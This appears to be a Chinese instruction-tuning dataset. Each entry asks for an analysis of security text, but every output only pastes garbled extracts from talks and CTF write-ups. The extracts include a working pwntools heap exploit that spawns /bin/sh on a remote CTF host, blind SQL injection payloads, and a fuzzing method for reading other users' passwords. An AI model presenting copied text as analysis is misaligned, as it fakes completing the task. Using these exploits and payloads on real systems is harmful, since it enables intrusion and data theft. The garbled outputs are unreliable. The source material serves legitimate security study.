Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

defcon xv defcon xv hacker culture around the (corporate) world hacker culture around the (corporate) world luiz eduardo luiz eduardo defcon xv defcon xv hi hi  networking guy  security guy  works for mu security  wlan at security cons  regular speaker at security cons  defcon networking goon  founder of dc55.org  networking guy  security guy  works for mu security  wlan at security cons  regular speaker at security cons  defcon networking goon  founder of dc55.org defcon xv defcon xv disclaimer disclaimer  everything on this presentation is based on my own (sometimes, sick) thoughts  nothing here is based on my current employer thoughts, neither endorsed by them, other than actually allowing me to be here  and. dont believe anything i say (bruce potter tm)  everything on this presentation is based on my own (sometimes, sick) thoughts  nothing here is based on my current employer thoughts, neither endorsed by them, other than actually allowing me to be here  and. dont believe anything i say (bruce potter tm) defcon xv defcon xv why? why?  although the hacker community (in general) has the same goals, external factors actually contribute to make reality interestingly different sometimes  this actually bugged me. along with  the need for security awareness to grow due to everyone using the internet +  the whole corporate world so  although the hacker community (in general) has the same goals, external factors actually contribute to make reality interestingly different sometimes  this actually bugged me. along with  the need for security awareness to grow due to everyone using the internet +  the whole corporate world so defcon xv defcon xv look around you look around you  in security events you see people w/ different goals  in hacker conferences you see people w/ different goals  the growth in the number of insecure people  people have access to stuff they dont know, whats new? but.  god knows what some it folks think about security  youve already seen insecure peopl


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Criminal Procedure Timeline ??? Stop Search Arrest Questions Appearance Bail Lets Make a Deal Trial ??? Something happens which causes the police to want to investigate you Stop Police are investigating something In order to stop you to investigate, police must have "reasonable articulable suspicion" that "criminal activity is afoot" - Terry v. Ohio Search In general* warrantless searches are unconstitutional due to the ban on unreasonable searches under the 4th Amendment Search In general* warrantless searches are unconstitutional due to the ban on unreasonable searches under the 4th Amendment * - Exceptions to Warrant Req. Terry - reasonable suspicion suspect is "armed and dangerous" Automobiles Arrest Border crossing Exigent Circumstances Destruction of Evidence Public Safety Permission Questioning Part 1 Miranda Warnings Right to Silence Right to an Attorney Miranda given when a person is "in custody" Miranda required if prosecutors later want to introduce what you say against you at trial Police are allowed to lie to you Questioning Part 2 Once you have been appointed or retained counsel on a particular case, you have additional rights to have your attorney present whenever police question you or you appear in court on that case Arrest Police must have probable cause to arrest In general, a person can be arrested for any crime (possibly even a traffic violation) First Appearance / Arraignment You may have an initial appearance where the only thing done is setting bail or releasing you. In many states, you have a right to bail. Realistically, bail is always set except in extremely serious cases (i.e. murder). Bail Cash bail only vs. Bail bonds First Appearance / Arraignment 2 At your arraignment, you will receive a list of the charges against you. You must have an attorney present to assist you at this point, or you will be appointed one. (sometimes bail setting will also be done at your arraignment) Charges Only the prosecutor (district attorney) gets to decide


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The cookie monster in your browsers @ﬁledescriptor HITCON 2019 @ﬁledescriptor  From Hong Kong   Pentester for Cure53  Love WebApp Sec & Browser Sec  Bug Bounty Hunter (#1 on Twitter's program) Motivation Motivation Motivation History 1966 The Dark Age 1994 1997 2000 Netscape's cookie_spec RFC 2109 RFC 2965 Basic Syntax Mechanism More Attributes Privacy Control Obsoletes RFC 2109 Set-Cookie2 & Cookie2 No browser followed these specs! The Modern Age 2011 2015 2016 2016 RFC 6265 Cookie Preﬁxes (RFC6265bis) Same-site Cookies (RFC6265bis) Strict Secure Cookies (RFC6265bis) Obsoletes RFC 2965 Summarizes reality HttpOnly ﬂag Improves Integrity across subdomains over secure channel Kills CSRF & Co. Prevents secure cookies overwrite from non-secure origin                       HTTP/1.1 200 OK [...] Set-Cookie: sid=123; path=/admin document.cookie = 'lang=en' HTTP Response JavaScript API (write) HTTP/1.1 200 OK [...] Set-Cookie: sid=123; path=/admin document.cookie = 'lang=en' POST /admin HTTP/1.1 [...] Cookie: sid=123; lang=en HTTP Response JavaScript API (write) Subsequent HTTP Request document.cookie // sid=123; lang=en JavaScript API (read) *Attributes do not appear in requests Set-Cookie: sid=123; path=/admin; Secure Name Value Attribute Flag Attribute Flag Expires Max-Age Domain Path SameSite Secure HttpOnly Attribute Flag Expires Max-Age Domain Path SameSite Secure HttpOnly We will focus on these attributes in this talk Domain Set-Cookie: foo=bar; domain=.example.com example.com sub.example.com sub.of.sub.example.com   Domain to subdomains Set-Cookie: foo=bar; domain=.example.com sub.example.com example.com sub.of.sub.example.com   Subdomains to subdomains Set-Cookie: foo=bar; sub.example.com example.com sub.of.sub.example.com   Current domain Dot or no Dot?  They have no diﬀerence (old RFC vs new RFC style)  Both widen the scope of a cookie to all (sub)domains  The correct way to limit the scope is to not have the domain attribute  Some websites add the domain attribu


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# randumb (pwn, 250 + 15 pt, solved by 4 teams) In this challenge, we're given an archive with compressed filesystem, kernel image and script for running an ARM virtual machine. ```sh drwxrwxr-x aleph/aleph 0 2018-04-09 17:37 ./randumb/ -rwxrwxr-x aleph/aleph 272 2018-04-09 17:37 ./randumb/chall -rwxrwxr-x aleph/aleph 2310840 2018-04-09 17:35 ./randumb/zImage -rw-rw-r-- aleph/aleph 1059651 2018-04-09 17:37 ./randumb/rootfs.img.gz ``` After extracting the filesystem we can see `randumb.ko`, which means that we're going to pwn the kernel. Fortunately, we don't have to reverse the binary as the chall author was nice and provided us with the source code located in `/src`. Randumb module provides a character device `/dev/randumb` functionally similar to `/dev/urandom` with additional ioctls used for configuration. By setting appropriate config, we can enable debug output which is written to `/tmp/randumb.log`. The function `debug_msg` looks quite interesting: ```c static int debug_msg(char *msg, ...) { // [...] old_fs = get_fs(); set_fs(KERNEL_DS); file = filp_open(DEBUG_FILE, O_WRONLY|O_CREAT|O_APPEND, 0644); if (IS_ERR(file)) return -EINVAL; // [....] } ``` Functions called by `debug_msg` (opening file, writing to file) are normally called from user mode. Thus those functions have to validate pointers passed to them. Otherwise users would be able to leak kernel memory. In order to bypass those checks, `set_fs` is used to increase the `addr_limit` in `thread_info` struct. From this moment, all pointers passed to syscalls either from user or kernel space will be valid. After doing this, function tries to open `/tmp/randumb.log` file for writing. If opening file fails, function immediately returns. And this is where the vulnerability occurs. Function doesn't restore `old_fs` before returning. If we can trigger this, we would be able to write into arbitrary memory with `read` syscall. OK, but how to cause an error when trying to open a file? Fortunately, if we try to open


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

www.quintessencelabs.com Are Quantum Computers Really A Threat To Cryptography? A Practical Overview Of Current State-Of-The-Art Techniques With Some Interesting Surprises 2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised  Cryptography & Malware Researcher at TrustDefender  CTO @ ThreatMetrix  Quantum Technologies @ Qlabs  http://www.quintessencelabs.com About me 2 2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised  Symmetric cryptosystem (shared secred key)  The same key (the secret key) is used to encrypt and decrypt the message  Examples: AES  Asymmetric cryptosystem (public & private key)  Use a public key to encrypt a message and a private key to decrypt it  Examples: RSA, ECC Cryptography 3 2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised  Virtually all current cryptosystems are computationally secure  Not decodable with available computing power, but no proof that you cant break them  To factor a 2048-bit RSA key, the best classical algorithm needs ~ 1034 steps and ~317 trillion years on a classical ThZ Computer (with a trillion operations per second):  There are information-theoretic cryptosystems (e.g. One-Time-Pad)  However to enjoy the benefits of the proof, many assumptions must be met  E.g. secret key is truly random. Secret key has the same length as the message,  2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised  Symmetric encryption (e.g. AES, 𝑁 = 256)  Key can be recovered classically with a computational complexity of 𝑂 2𝑁  Best quantum algorithm (Grover) provides only a squared speedup of 𝑂 2𝑁  While this is still a massive speedup, doubling the keylength will compensate for this  Asymmetric encryption (e.g. RSA, ECC)  Used virtually everywhere to negotiate a symmetric key (e.g. VPNs, TLS, Diffie- Hellman, Digital Signatures, )  Multiple quantum algorithms available  Focus for this talk Quantum


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FROM BOX TO BACKDOOR U s i n g O l d S c h o o l To o l s a n d Te c h n i q u e s t o D i s c o v e r B ac k doors in Modern Dev ic es Patrick DeSantis | @pat_r10t ADVANCED PERSISTENT THIRST (APT) ADVANCED PERSISTENT THIRST (APT) MOXA AWK-3131A WAP MOXA WAP: ABOUT The AWK-3131A is 802.11n compliant to deliver speed, range, and reliability to support even the most bandwidth-intensive applications. The 802.11n standard incorporates multiple technologies, including Spatial Multiplexing MIMO (Multi-In, Multi-Out), 20 and 40 MHz channels, and dual bands (2.4 GHz and 5 GHz) to provide high speed wireless communication, while still being able to communicate with legacy 802.11a/b/g devices. The AWK's operating temperature ranges from -25 to 60C for standard models and -40 to 75C for wide temperature models, and is rugged enough for all types of harsh industrial environments. Installation of the AWK is easy using DIN-Rail mounting or distribution boxes, and with its wide operating temperature range, IP30-rated housing with LED indicators, and DIN-Rail mounting it is a convenient yet reliable solution for all types of industrial wireless applications. - Moxa MOXA WAP: ABOUT TL;DR  Its an 802.11n Wireless Access Point (WAP)  in a din rail mountable enclosure  many of the the parts inside are the same as in common SOHO networking devices  Moxa advertises that the AWK series is  "a Perfect Match for Your AGV & AS/RS Systems  Automated Guided Vehicles (AGV)  Automated Storage and Retrieval System (AS/RS)  common in Automated Materials Handling (AMH) systems MOXA WAP: ABOUT  Its Unbreakable MOXA WAP: DEVICE LIMITATIONS  Limited to about 8k connections per some unit of time  lots of resource exhaustion DoS issues  throttle traffic or wait for recovery  Crashes a lot  No legit operating system access  Very limited shell environment  most management and configuration done via web app  Crashes A LOT  so many crashes  often will reboot or need power cycle to recover  later, well have


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 威胁情报数据源整合 本篇整理公开的威胁情报数据源但公开不等于无版权注意哦 ## IOC Repositories > These repos contain threat intelligence generally updated manually when the respective orgs publish threat reports.[2] - https://github.com/aptnotes/data - https://github.com/citizenlab/malware-indicators - https://github.com/da667/667s_Shitlist - https://github.com/eset/malware-ioc - https://github.com/fireeye/iocs - https://github.com/Neo23x0/signature-base/tree/master/iocs - https://github.com/pan-unit42/iocs - https://github.com/stamparm/maltrail/tree/master/trails/static/malware - https://github.com/stamparm/maltrail/tree/master/trails/static/suspicious ## IOC Feeds > These URLs are data feeds of various types from scanning IPs from honeypots to C2 domains from malware sandboxes, and many other types. They were compiled from several sources, including (but not limited to): [1](https://github.com/mlsecproject/combine/issues/25), [2](https://github.com/mlsecproject/combine/blob/master/inbound_urls.txt), [3](https://github.com/mlsecproject/combine/blob/master/outbound_urls.txt), [4](https://github.com/stamparm/maltrail/tree/master/trails/feeds), [5](https://github.com/cloudsriseup/datasets/tree/master/osint/CIFConf), [6](https://github.com/TW-NCERT/ctifeeds). They are in alphabetical order.[2] - http://antispam.imp.ch/wormlist - http://app.webinspector.com/recent_detections - http://atrack.h3x.eu/api/asprox_suspected.php - http://autoshun.org/files/shunlist.csv - http://blocklist.greensnow.co/greensnow.txt - http://botscout.com/last.htm - http://botscout.com/last_caught_cache.htm - http://charles.the-haleys.org/ssh_dico_attack_hdeny_format.php/hostsdeny.txt - http://cinsscore.com/list/ci-badguys.txt - http://cybercrime-tracker.net/all.php - http://cybercrime-tracker.net/ccam.php - http://cybercrime-tracker.net/ccpmgate.php - http://danger.rulez.sk/projects/bruteforceblocker/blist.php - http://data.netlab.360.com/feeds/dga/dga.txt - http://data.netlab.360.com/feeds/ek/magnitude.txt - http://data.netlab.36


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Defcon15 August 3-5, 2007 at the Riviera in Las Vegas A Journalist A Journalists Perspective on Security s Perspective on Security Research Research Peter Berghammer Peter Berghammer Defcon 15; Riviera, Las Vegas Defcon 15; Riviera, Las Vegas Friday August 3, 2007 Friday August 3, 2007 Day 1, Track 4 Day 1, Track 4 17:00 17:00  17:50 17:50 (05:00 (05:00--05:50 pm) 05:50 pm) Defcon15 August 3-5, 2007 at the Riviera in Las Vegas About me About me Peter Berghammer is the owner of a number of companies including Peter Berghammer is the owner of a number of companies including::  Copernio: an aerospace and defense contractor Copernio: an aerospace and defense contractor  Future Formats: a CE research and analysis company Future Formats: a CE research and analysis company  Tunitas Creek Ventures: a VC firm in the web 2.0 arena Tunitas Creek Ventures: a VC firm in the web 2.0 arena Additionally he writes (or has written for): Additionally he writes (or has written for):  Dealerscope: a monthly column covering politics, economics, and Dealerscope: a monthly column covering politics, economics, and corporate corporate ethics ethics  MediaLine: a monthly column covering security involving Hollywoo MediaLine: a monthly column covering security involving Hollywood studios, d studios, retailers and CE manufacturers retailers and CE manufacturers  CreativeCow: a bimonthly column covering developments within the CreativeCow: a bimonthly column covering developments within the professional film makers community professional film makers community  ODS!: occasional contributor regarding topics affecting the opti ODS!: occasional contributor regarding topics affecting the optical disc industry cal disc industry  One One--to to--One: occasional contributor on emerging technologies affecting t One: occasional contributor on emerging technologies affecting the he replication industry replication industry Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Disclaimer Disclaimer The opin


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Intelligence by Susan Hasler (Thomas Dunne Books. St. Martins Press: New York 2010) A review by Richard Thieme There is enough white-hot rage in this book to steam a skunk. Take that as a compliment. Twenty-one years at the CIA in diverse capacities would generate post-traumatic stress in anyone, but not many can pen a narrative that addresses the relevant characters, issues, and complexities of that tenure. Intelligence pretty much does, within the constraints of agency pre-publication review. This book is more or less true, I believe, to its ultimate purpose, which is to channel the complex, sometimes contradictory vectors of energy that warred within the author during her 21 years of service into characters with conflicting points of view, emotions, and allegiances. If there is a flaw in the book, it is that those conflicts result in a happy ending at odds with the headlines, if not todays, then certainly tomorrows. You shall know the truth, and the truth shall set you free, reads the ironic quote at the entrance to the CIA, ironic because the biblical quote refers to that transcendent truth that includes and surpasses all lesser allegiances (which the biblical narrative casts as various forms of idolatry) whereas the agency is fused with the lesser purposes of the nation state that sanctions its work and methods. (I once asked a Naval intelligence analyst about the sticky problem of intelligence ethics, and he said, we have a code: dont lie, dont cheat, dont steal. But it doesnt say, Dont kill. Thats why we exist.) It gets messy, once one is assimilated into the inside circle of an agency like the CIA where those higher imperatives are lopped off at the start from the definition of the mission. Over time the addictive drug of being an insider consumes one. Having access to inside information, knowing what others can only guess, and often guess wrong, receiving reinforcement only from ones cohorts for the privilege of being special, exempt, and in the know, recei


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Compelled Decryption State of the Art Doctrinal Perversions by Ladar Levison Owner and Operator, Lavabit LLC Version 1.0 July 8th 2016 DEF CON 24 PRESENTATION PREVIEW PLEASE NOTE THESE SLIDES ARE PRELIMINARY EXPECT ALTERATIONS First Party vs Third Party Communications Assistance for Law Enforcement Act (aka CALEA) Third Parties Like Lavabit, Apple, WhatsApp, Telegram, Dell, Cisco or CentOS, OpenSSL CipherShed or Linus Torvalds, Gavin Andresen, Werner Koch or you Fin


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

WriteUp By Nu1L Author:Nu1L WriteUp By Nu1L PWN Honorbook Reverse print mips pypy WEB babyphp Crypto RRSSAA combinelfsr rw aes_baby PWN Honorbook risc-vpwnghidra addoff-by-one 0x300xf0,overlap from pwn import * s = remote("121.36.192.114","9999") # s = process("./qemu-riscv64 -g 1234 -L ./libs ./honorbook",shell=True) # s = process("./qemu-riscv64 -L ./libs ./honorbook",shell=True) def add(idx,name,msg): s.sendlineafter("Code:","1") s.sendlineafter("ID:",str(idx)) s.sendlineafter("User name: ",name) s.sendafter("Msg: ",msg) def show(idx): s.sendlineafter("Code:","3") s.sendlineafter("ID:",str(idx)) def free(idx): s.sendlineafter("Code:","2") s.sendlineafter("ID:",str(idx)) def edit(idx,buf): s.sendlineafter("Code:","4") s.sendlineafter("Index:",str(idx)) s.sendafter("Msg: ",buf) for i in range(0x10): add(i,'1',"\n") for i in range(0xf): free(i) s.sendline('1'*0x500) for i in range(7): add(i,'1',"\n") add(10,'\n','\n') context.log_level='debug' show(10) s.recvuntil("Msg: ") tmp = u64(s.recv(3).ljust(8,'\x00')) success(hex(tmp)) libc = ELF('./libs/lib/libc-2.27.so') libc.address = tmp-0x10790a+0x4000000000 success(hex(libc.address)) free_hook = libc.sym['__free_hook'] system = libc.sym['system'] add(0x10,'1','1\n') add(0x11,'2','2\n') add(0x12,'3',(p64(0x21)*2)*10+'\n') add(0x13,'4','4\n') free(0x10) add(0x10,'1','A'*0xe8+'\xf1') free(0x13) free(0x11) add(0x14,'5','A'*0x20+p64(0)+p64(0xf1)+p64(free_hook)+'\n') add(0x15,'6','/bin/sh\x00\n') add(0x16,'7',p64(system)+'\n') free(0x15) s.interactive() Reverse print https://hackmd.io/@Lays/SkKL68GIe?type=view#%F0%9F%94%84-R everse-500---printbf brainfuckbrainfuck2c 1266 6 from pwn import * context.log_level = 'debug' import os cl = 'e_C0d3' cl1 = [ ['G','g'], ['i','1','I'], ['V','v'], ['e','3','E'], ['_'], ['M','m'] ] cl2 = [ ['5'], ['h','H'], ['o','0','O'], ['w','W'], ['_'], ['M','m'] ] #revers cl1 = [ ['r','R'], ['e','E','3'], ['v','V'], ['e','E','3'], ['R','r'], ['s','S','5'] ] for j0 in cl1[0]: for j1 in cl1[1]: for j2


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# KasperskyLab Industrial CTF Quals 2017 Team: c7f.m0d3, akrasuski1, nazywam, shalom, rev ### Table of contents * [Bad computations (crypto)](bad_computations) * [Security home cameras (crypto)](cameras) * [Decrypt the message (crypto)](decrypt_message) * [Smart heater 1 (re/web)](heater_1)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

An Introduction to Network Security Data Visualization Greg Conti 1. Introduction The Internet is teeming with network traffic, usually benign, but occasionally malicious. A recent study by the University of California at Berkeley estimated that 532,897 terabytes of information flowed across the Internet in 2002. Of that figure, approximately 92,000 terabytes were World Wide Web traffic, 440,000 terabytes were original email traffic and 274 terabytes were instant messaging traffic.1 Given an estimate of 1 kilobyte per packet, approximately 533 trillion packets traversed the Internet. While the exact percentage of malicious packets is not known, assuming a conservative estimate of 0.1%, one can estimate the traffic in the hundreds of billions. This figure is clouded by crud from legitimate traffic exhibiting abnormal behavior.2 Traditional intrusion detection systems use algorithmically implemented signature and anomoly based techniques to detect attacks. These techniques, while effective, result in an unacceptable amount of false positives and false negatives when confronted with the sheer volume of network activity. In this white paper, I present an approach to augment the algorithmically implemented, traditional signature and anomoly based intrusion detection systems with visualization techniques. This provides multiple benefits:  By their very nature, most zero-day (never seen before) attacks do not match existing intrusion signatures. Visualization techniques can provide clues to impending attacks and facilitate quick response analysis.  Some stealthy attacks are invisible to traditional intrusion detection systems, but are readily visible using appropriate visualizations.  Specific attack tools and exploits have visual fingerprints that can be used to profile attackers.  Visualization techniques can be used that require little state and are remarkably resistant to resource consumption attacks that can incapacitate traditional intrusion detection systems.  Both


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VMProtect的一次奇妙之旅 何潇潇@永信至诚 VMProtect是什么 VMProtect背后的原理 还原VMProtect的方法 演示还原 总结 CONTENTS 8/27/16'2:30PM 2 VMProtect是什么? VMProtect是世界上最强大的二进制代码保护软件之一是由俄 罗斯人开发的至今没有人公开声称对其完全破解 03 8/27/16'2:30PM 2 VMProtect是什么? 01 一个基于堆 栈机的intel指 令的模拟器 02 通过编译,把intel 指令编译成精心 设计的一组虚拟 指令(PCode) 特定的解释引 擎用于解释 执行上述的虚 拟指令 从本质来讲VMProtect是 8/27/16'2:30PM 3 8/27/16'2:30PM 4 相关术语 Intel指令寄存器(Register) 和 VM指令寄存器(VMReg) VMProtect一共有14个寄存 器但是用16个格子(slot)存 放它们有多的2个格子可 以理解成自由寄存器最终 扩展成16个寄存器 8/27/16'2:30PM 5 相关术语 Intel指令(Intel Instruction) 和 VM指令(VMRecord) Intel指令就是Intel的汇编指令 比如 add eax,ecx xor eax,eax  在VMProtect的世界里面指令是由 VMRecord组成的比如 vm_push_imm32 0x1 vm_get_context_dword slot_offset Intel指令编译生成对应的一组VMRecord 比如 mov ecx,eax; vm_get_context_dword vEax vm_save_context_dword vEcx 8/27/16'2:30PM 6 相关术语 Intel函数基本块(BasicBlock) 和 VM基本块(VMBlock) BasicBlock是组成Intel函数控制 流图的基本单位在VMProtect 里面,VMBlock和它一一对应的 只不过VMBlock是VMRecord的 载体而且基本块与基本块之间 的关系(也就是控制流图CFG) 也在VMBlock之间一一对应 8/27/16'2:30PM 7 VMProtect背后的原理 8/27/16'2:30PM 7 逻辑门运算 VMProtect是通过NOR(或非门)和ADD(加法门)来实现intel指令的等价运算 NOR(a,b) = NOT(OR(a,b)) = AND(NOT(a),NOT(b)) 有了NOR的操作就很容易表示其他的运算,例如: NOT(a) = NOR(a,a) AND(a,b) = NOR(NOT(a),NOT(b)) = NOR(NOR(a,a),NOR(b,b)) OR(a,b) = NOR(NOR(a,b),NOR(a,b)) XOR(a,b) = NOR(NOR(a,b),NOR(NOR(a,a),NOR(b,b))) SUB(a,b) = NOR(ADD(NOR(a,a),b),ADD(NOR(a,a),b)) 比如VMRecord来表示and eax,ecx VMProtect背后的原理 8/27/16'2:30PM 8 指令集可以理解成线性空间寄存器就是空间的基寄存器个数也就是空间 的维数指令集中的指令可以理解成算子比如intel里面的add,xor,or等 在这里,intel指令集空间维度是9VMProtect的是16所以注定这2个空间不 同构 从intel指令到VMProtect指令的变换f是同态变换也就是这种变换没有逆 变换从理论上面证明了不存在完全还原方法 映射 VMProtect背后的原理 8/27/16'2:30PM 9 具体原因是VMProtect的寄存器16个格子里面任何时刻都有2个格子是 自由的(其实是3个,因为vEex是垃圾寄存器,也是自由的) VMProtect当一个 寄存器发生变化的时候它不会把新的值保存在原来的那个格子里面它会 从空闲格子里面取一个出来保存新值比如vEax 开始存放在1号格子里面 经过一系列运算vEax值发生变化需要更新这时会从空闲格子里面随机 取出一个比如(2号格子)用来存放vEax,原来的1号格子就会进入空闲池子里 了正是这种特性造成了Intel指令到VM指令之间不可能是一一对应的关 系因为操作数也就是VMProtect用到的格子时刻都在随机变化只有 VMProtect自己知道对应关系除了它本身第三者很难知道 VMProtect背后的原理 8/27/16'2:30PM 10 还是and eax,ecx 通过变换f生成了上面的VMRecords 比如vEax开始保存在1号格子里面经过and运算以后保存最后结果的 时候从空


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

www.synack.com @colbymoore @patrickwardle optical surgery; implanting a dropcam colby moore / patrick wardle Synack Colby Moore (vrl/synack) Patrick Wardle (nasa/nsa/vrl/synack) Synacks R&D team who we are > an outline overview root access vulnerabilities implant an overview what/why? Dropcam is a cloud-based Wi-Fi video monitoring service with free live streaming, two-way talk and remote viewing that makes it easy to stay connected with places, people and pets, no matter where you are. (dropcam.com) cloud recording night vision two-way talk intelligent alerts > setup or > a target got a target on your back?! extremely popular found in interesting locations useful capabilities rooting a dropcam popping one of these # > probing some portz exposed 3.3v UART breakout board (FTDI serial to USB) serial connection (pin 3 & 4) > and action! password prompt $ screen /dev/tty.usbserial-A603NJ6C 115200 [0.000000] Linux version 2.6.38.8 (dropcambuild@linux-ws) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-41) ) [0.000000] CPU: ARMv6-compatible processor [4117b365] revision 5 (ARMv6TEJ), cr=00c5387f [0.000000] CPU: VIPT nonaliasing data cache, VIPT nonaliasing instruction cache ! ... ! ! ! .::. .o0WMMMMMNOc. lk, dWMMMMNXNMMMMWl .NMc dMMMMd. .kMMMMl .oOXNX0kWMc cX0xXNo .oOXNX0d' .0XxxKNNKx; :kKNNKx. .lOXNNKx, :XXxKNXOldKNNKd. KMMMO KMMM0 lWNd;',lXMMc oMMo'..dWNo,',oXWx .WMWk;',c0M0. .KMO:'':; ;NWx;',cKMK. lMMx'.oWMX;.'0MO OMMMW; cWMMMx .MM: .WMc oMX 'MM, 'WM;.WMd XMo kM0 KMx .WMd lMM' .XMo cMX .0MMMM0..cKMMMMk 0M0' .dMMc oMX .XMk' .xMX..WMK; .lWW, cWW: dMX, .oMMd lMM' .XMo cMX :XM0:dNMMMMO; oNMNKXMNWMc oMX .dNMNKXMNx. .WMWMNKXMWO' ;0WWKKWN, cKMNKXWWWMd lMM' .XMo cMK ;.0MMMMO, .;:;. ';. .;. .;:;. .WMo.,:;'. .,::,. .;:;'..;. .;; ,;. .;. 'ONx' .WM: .. ! Ambarella login: > accessing the bootloader bootloader $ screen /dev/tty.usbserial-A603NJ6C 115200 ! ___ ___ _________ _ / _ \ | \/ || ___ \ | | / /_\ \| . . || |_/ / ___ ___ | |_ | _ || |\/| || ___ \ / _ \ / _ \ | __| | | | || | |


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

07/04/2008 1 Speakers: Chema Alonso José Parada Informática64 Microsoft MS MVP Windows Security IT Pro Evangelist chema@informatica64.com jparada@microsoft.com Agenda Code Injections What are Blind Attacks? Blind SQL Injection Attacks Tools Time-Based Blind SQL Injection Tools Time-Based Blind SQL Injection using heavy queries Demos Marathon Tool 07/04/2008 2 Code Injection Developer dont sanitize correctly the input parameters and use them in queries directly: Command Injection SQL Injection LDAP Injection Xpath Injection Blind Attacks Attacker injects code but cant access directly to the data. However this injection changes the behavior of the web application. Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data. 07/04/2008 3 Blind SQL Injection Attacks Attacker injects: True where clauses False where clauses Ex: Program.php?id=1 and 1=1 Program.php?id=1 and 1=2 Program returns not any visible data from database nor data in error messages either. The attacker cant see any data extracted from the database. Blind SQL Injection Attacks Attacker analyzes the response pages looking for differences between True-Answer Page and False- Answer Page: Different hashes Different html structure Different patterns (keywords) Different linear ASCII sums Different behavior By example: Response Time 07/04/2008 4 Example: True-Answer Page Example: False-Answer Page 07/04/2008 5 Blind SQL Injection Attacks If any difference exist, then: Attacker can extract all information from database How? Using booleanization MySQL: Program.php?id=1 and 100>(ASCII(Substring(user(),1,1))) True-Answer Page or False-Answer Page? MSSQL: Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers) Oracle: Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1) Blind SQL Injection Attacks: Tools SQLbfTools: Extract all information from MySQL databases us


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PGTKSH" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME pgtksh \-\- PostgreSQL Tcl/Tk shell 客户端 .SH SYNOPSIS .sp pgtksh [filename [argument...]] .SH "DESCRIPTION 描述" .PP \fBpgtksh\fR 是一个带有 PostgreSQL 数据库访问函数扩展的 Tcl/Tk shell 接口实际上它是装载了 libpgtcl 的wish 和普通的 Tcl/Tk shell wish 类似命令行的第一个参数是一个脚本文件 任何剩余的参数都传递给该脚本特殊的选项可以由 X Window 系统库来处理 如果没有命名脚本的名字那么该 shell 是交互的 .PP 一个带有 PostgreSQL 函数的纯 Tcl shell 是 \fBpgtclsh\fR(1) .SH "SEE ALSO 参见" .PP \fBpgtclsh\fR(1), 描述了 libpgtcl, \fBtclsh\fR(1), \fBwish\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Fuzz 大法之挖掘潜在的逻辑越权 AuthorVulkey_Chen Bloggh0st.cn 小密圈Web 安全 SzS 对一个网站做测试的时候发现了这样一条请求 这条请求返回的信息是个人信息用户 ID手机号密码 {"responseData":{"userid":"用户 id","login":"用户名","password":"密码","mobilenum":"手机号 ","mobileisbound":"01","email":null}} 一开始的想法是变为 GET 请求可行然后增加 JSONP 劫持的回调参数失败 之前也有人问我怎么去做参数字典的收集 A. 注意网站参数的命名方式 大写英文 B. 返回变参数注意值都为 B 用户 也就是你需要准备两个用户 上面所述的返回信息中包含了很多参数可生成如下 userid=B 用户 id login=B 用户名 password=B 用户密码 mobilenum=B 用户手机号 email=B 用户邮箱 C. 整合 A 规则+B 收集=C 整合 最后变成如下的字典 USERID=B 用户 id LOGIN=B 用户名 PASSWORD=B 用户密码 MOBILENUM=B 用户手机号 EMAIL=B 用户邮箱 然后 Burp Intruder 模块开启导入字典(这里将参数设在 POST 请求正文)Start Fuzz 测试结果发现使用 LOGIN 参数可以成功的从 A 用户的个人信息越权获取到 B 用户的个人信 息


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Somerset Recon Infecting the Embedded Supply Chain Zach Miller Alex Kissinger Somerset Recon Introduction - Who We Are Zach:  Reverse Engineering, Pen Testing  Twitter: @bit_twidd1er Alex:  Barista that occasionally does security things @ Somerset Recon  Cappuccinos, Hardware Hacking, Reverse Engineering Somerset Recon Introduction - Somerset Recon  @SomersetRecon  https://somersetrecon.com/contact Somerset Recon Previous Research - Electronic Safe Lock Analysis  Discovered vulnerabilities in the mobile application and wire protocol of the SecuRam Prologic B01 Bluetooth electronic safe lock  Capture and decode PIN numbers transmitted wirelessly  Brute force PIN numbers over the wire Somerset Recon Previous Research - Hello Barbie  Security analysis on the Mattel Hello Barbie doll  Identified several vulnerabilities affecting the device and associated web and mobile technologies Somerset Recon These are all embedded devices Somerset Recon Where are embedded devices? Embedded General Purpose ??? Somerset Recon Industries Develop Embedded Devices  Automotive  Industrial  Medical  Communications  Digital Consumer  Etc. Somerset Recon What do these embedded devices have in common??? Somerset Recon They all utilize embedded debuggers for their development Somerset Recon Our Targets Somerset Recon Our Targets Somerset Recon Segger J-Link Debug Probe  JTAG/SWD/SWO/etc.  In Circuit Emulator (ICE)  In Circuit System Programmer (ICSP)  Supports ARM/ARM Cortex, RISC-V, RX targets  USB and Ethernet  Cross platform toolchain  Ultrafast download/upload to flash  Unlimited software breakpoints 